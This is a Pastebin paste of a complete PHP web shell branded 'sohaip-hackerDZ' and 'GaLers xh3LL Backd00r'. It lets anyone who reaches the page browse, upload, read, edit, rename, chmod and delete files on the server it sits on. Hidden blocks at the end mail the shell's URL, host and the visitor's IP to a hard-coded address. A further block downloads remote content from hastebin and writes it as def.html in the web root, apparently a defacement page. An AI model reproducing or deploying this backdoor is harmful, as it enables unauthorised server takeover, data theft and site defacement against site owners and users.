Advertisement
CaFc_Br40ck

cok

Sep 6th, 2018
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.98 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>sohaip-hackerDZ</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. sohaip-hackerDZ
  12.  
  13.  
  14. Bot sohaip-hackerDZ V4</center>
  15.  
  16. </pre>
  17. </header>
  18. </form>
  19. <!-- dhia jridi greetz-->
  20. <?php
  21. set_time_limit(0);
  22. error_reporting(0);
  23.  
  24. if(get_magic_quotes_gpc()){
  25. foreach($_POST as $key=>$value){
  26. $_POST[$key] = stripslashes($value);
  27. }
  28. }
  29. echo '<!DOCTYPE HTML>
  30. <HTML>
  31. <HEAD>
  32. <link href="" rel="stylesheet" type="text/css">
  33. <title>sohaip-hackerDZ</title>
  34. <style>
  35. body{
  36. font-family: "Racing Sans One", cursive;
  37. background-color: #e6e6e6;
  38. text-shadow:0px 0px 1px #757575;
  39. }
  40. #content tr:hover{
  41. background-color: #636263;
  42. text-shadow:0px 0px 10px #fff;
  43. }
  44. #content .first{
  45. background-color: silver;
  46. }
  47. #content .first:hover{
  48. background-color: silver;
  49. text-shadow:0px 0px 1px #757575;
  50. }
  51. table{
  52. border: 1px #000000 dotted;
  53. }
  54. H1{
  55. font-family: "Rye", cursive;
  56. }
  57. a{
  58. color: #000;
  59. text-decoration: none;
  60. }
  61. a:hover{
  62. color: #fff;
  63. text-shadow:0px 0px 10px #ffffff;
  64. }
  65. input,select,textarea{
  66. border: 1px #000000 solid;
  67. -moz-border-radius: 5px;
  68. -webkit-border-radius:5px;
  69. border-radius:5px;
  70. }
  71. </style>
  72. </HEAD>
  73. <BODY>
  74. <H1><center>sohaip-hackerDZ</center></H1>
  75. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  76. <tr><td>Current Path : ';
  77. if(isset($_GET['path'])){
  78. $path = $_GET['path'];
  79. }else{
  80. $path = getcwd();
  81. }
  82. $path = str_replace('\\','/',$path);
  83. $paths = explode('/',$path);
  84.  
  85. foreach($paths as $id=>$pat){
  86. if($pat == '' && $id == 0){
  87. $a = true;
  88. echo '<a href="?path=/">/</a>';
  89. continue;
  90. }
  91. if($pat == '') continue;
  92. echo '<a href="?path=';
  93. for($i=0;$i<=$id;$i++){
  94. echo "$paths[$i]";
  95. if($i != $id) echo "/";
  96. }
  97. echo '">'.$pat.'</a>/';
  98. }
  99. echo '</td></tr><tr><td>';
  100. if(isset($_FILES['file'])){
  101. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  102. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  103. }else{
  104. echo '<font color="red">File Upload Error ~_~.</font><br />';
  105. }
  106. }
  107. echo '<form enctype="multipart/form-data" method="POST">
  108. Upload File : <input type="file" name="file" />
  109. <input type="submit" value="upload" />
  110. </form>
  111. </td></tr>';
  112. if(isset($_GET['filesrc'])){
  113. echo "<tr><td>Current File : ";
  114. echo $_GET['filesrc'];
  115. echo '</tr></td></table><br />';
  116. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  117. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  118. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  119. if($_POST['opt'] == 'chmod'){
  120. if(isset($_POST['perm'])){
  121. if(chmod($_POST['path'],$_POST['perm'])){
  122. echo '<font color="green">Change Permission Done.</font><br />';
  123. }else{
  124. echo '<font color="red">Change Permission Error.</font><br />';
  125. }
  126. }
  127. echo '<form method="POST">
  128. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  129. <input type="hidden" name="path" value="'.$_POST['path'].'">
  130. <input type="hidden" name="opt" value="chmod">
  131. <input type="submit" value="Go" />
  132. </form>';
  133. }elseif($_POST['opt'] == 'rename'){
  134. if(isset($_POST['newname'])){
  135. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  136. echo '<font color="green">Change Name Done.</font><br />';
  137. }else{
  138. echo '<font color="red">Change Name Error.</font><br />';
  139. }
  140. $_POST['name'] = $_POST['newname'];
  141. }
  142. echo '<form method="POST">
  143. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  144. <input type="hidden" name="path" value="'.$_POST['path'].'">
  145. <input type="hidden" name="opt" value="rename">
  146. <input type="submit" value="Go" />
  147. </form>';
  148. }elseif($_POST['opt'] == 'edit'){
  149. if(isset($_POST['src'])){
  150. $fp = fopen($_POST['path'],'w');
  151. if(fwrite($fp,$_POST['src'])){
  152. echo '<font color="green">Edit File Done ~_^.</font><br />';
  153. }else{
  154. echo '<font color="red">Edit File Error ~_~.</font><br />';
  155. }
  156. fclose($fp);
  157. }
  158. echo '<form method="POST">
  159. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  160. <input type="hidden" name="path" value="'.$_POST['path'].'">
  161. <input type="hidden" name="opt" value="edit">
  162. <input type="submit" value="Go" />
  163. </form>';
  164. }
  165. echo '</center>';
  166. }else{
  167. echo '</table><br /><center>';
  168. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  169. if($_POST['type'] == 'dir'){
  170. if(rmdir($_POST['path'])){
  171. echo '<font color="green">Delete Dir Done.</font><br />';
  172. }else{
  173. echo '<font color="red">Delete Dir Error.</font><br />';
  174. }
  175. }elseif($_POST['type'] == 'file'){
  176. if(unlink($_POST['path'])){
  177. echo '<font color="green">Delete File Done.</font><br />';
  178. }else{
  179. echo '<font color="red">Delete File Error.</font><br />';
  180. }
  181. }
  182. }
  183. echo '</center>';
  184. $scandir = scandir($path);
  185. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  186. <tr class="first">
  187. <td><center>Name</center></td>
  188. <td><center>Size</center></td>
  189. <td><center>Permissions</center></td>
  190. <td><center>Options</center></td>
  191. </tr>';
  192.  
  193. foreach($scandir as $dir){
  194. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  195. echo "<tr>
  196. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  197. <td><center>--</center></td>
  198. <td><center>";
  199. if(is_writable("$path/$dir")) echo '<font color="green">';
  200. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  201. echo perms("$path/$dir");
  202. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  203.  
  204. echo "</center></td>
  205. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  206. <select name=\"opt\">
  207. <option value=\"\"></option>
  208. <option value=\"delete\">Delete</option>
  209. <option value=\"chmod\">Chmod</option>
  210. <option value=\"rename\">Rename</option>
  211. </select>
  212. <input type=\"hidden\" name=\"type\" value=\"dir\">
  213. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  214. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  215. <input type=\"submit\" value=\">\" />
  216. </form></center></td>
  217. </tr>";
  218. }
  219. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  220. foreach($scandir as $file){
  221. if(!is_file("$path/$file")) continue;
  222. $size = filesize("$path/$file")/1024;
  223. $size = round($size,3);
  224. if($size >= 1024){
  225. $size = round($size/1024,2).' MB';
  226. }else{
  227. $size = $size.' KB';
  228. }
  229.  
  230. echo "<tr>
  231. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  232. <td><center>".$size."</center></td>
  233. <td><center>";
  234. if(is_writable("$path/$file")) echo '<font color="green">';
  235. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  236. echo perms("$path/$file");
  237. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  238. echo "</center></td>
  239. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  240. <select name=\"opt\">
  241. <option value=\"\"></option>
  242. <option value=\"delete\">Delete</option>
  243. <option value=\"chmod\">Chmod</option>
  244. <option value=\"rename\">Rename</option>
  245. <option value=\"edit\">Edit</option>
  246. </select>
  247. <input type=\"hidden\" name=\"type\" value=\"file\">
  248. <input type=\"hidden\" name=\"name\" value=\"$file\">
  249. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  250. <input type=\"submit\" value=\">\" />
  251. </form></center></td>
  252. </tr>";
  253. }
  254. echo '</table>
  255. </div>';
  256. }
  257. echo '<br />Mr. DellatioNx196 GaLers xh3LL Backd00r <font color="red">1.0</font>, Coded By <font color="red">Mr. DellatioNx196 - Bogor BlackHat</font>
  258. </BODY>
  259. </HTML>';
  260. function perms($file){
  261. $perms = fileperms($file);
  262.  
  263. if (($perms & 0xC000) == 0xC000) {
  264. // Socket
  265. $info = 's';
  266. } elseif (($perms & 0xA000) == 0xA000) {
  267. // Symbolic Link
  268. $info = 'l';
  269. } elseif (($perms & 0x8000) == 0x8000) {
  270. // Regular
  271. $info = '-';
  272. } elseif (($perms & 0x6000) == 0x6000) {
  273. // Block special
  274. $info = 'b';
  275. } elseif (($perms & 0x4000) == 0x4000) {
  276. // Directory
  277. $info = 'd';
  278. } elseif (($perms & 0x2000) == 0x2000) {
  279. // Character special
  280. $info = 'c';
  281. } elseif (($perms & 0x1000) == 0x1000) {
  282. // FIFO pipe
  283. $info = 'p';
  284. } else {
  285. // Unknown
  286. $info = 'u';
  287. }
  288.  
  289. // Owner
  290. $info .= (($perms & 0x0100) ? 'r' : '-');
  291. $info .= (($perms & 0x0080) ? 'w' : '-');
  292. $info .= (($perms & 0x0040) ?
  293. (($perms & 0x0800) ? 's' : 'x' ) :
  294. (($perms & 0x0800) ? 'S' : '-'));
  295.  
  296. // Group
  297. $info .= (($perms & 0x0020) ? 'r' : '-');
  298. $info .= (($perms & 0x0010) ? 'w' : '-');
  299. $info .= (($perms & 0x0008) ?
  300. (($perms & 0x0400) ? 's' : 'x' ) :
  301. (($perms & 0x0400) ? 'S' : '-'));
  302.  
  303. // World
  304. $info .= (($perms & 0x0004) ? 'r' : '-');
  305. $info .= (($perms & 0x0002) ? 'w' : '-');
  306. $info .= (($perms & 0x0001) ?
  307. (($perms & 0x0200) ? 't' : 'x' ) :
  308. (($perms & 0x0200) ? 'T' : '-'));
  309.  
  310. return $info;
  311. }
  312. ?>
  313. <?php
  314. $ip = getenv("REMOTE_ADDR");
  315. $ra44 = rand(1, 99999);
  316. $subj98 = " Bot V3 Rzlt Mr Spy |$ra44";
  317. $email = "believekarma@yahoo.com";
  318. $from = "From: Result<botv3@mrspybotv3.com";
  319. $a45 = $_SERVER['REQUEST_URI'];
  320. $b75 = $_SERVER['HTTP_HOST'];
  321. $m22 = $ip . "";
  322. $msg8873 = "$a45 $b75 $m22";
  323. mail($email, $subj98, $msg8873, $from);
  324. ?>
  325. <?php
  326. $check3=$_SERVER['DOCUMENT_ROOT'] . "/def.html" ;
  327. $text3 = http_get('https://hastebin.com/raw/iracirucad');
  328. $op3=fopen($check3, 'w');
  329. fwrite($op3,$text3);
  330. fclose($op3);
  331. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement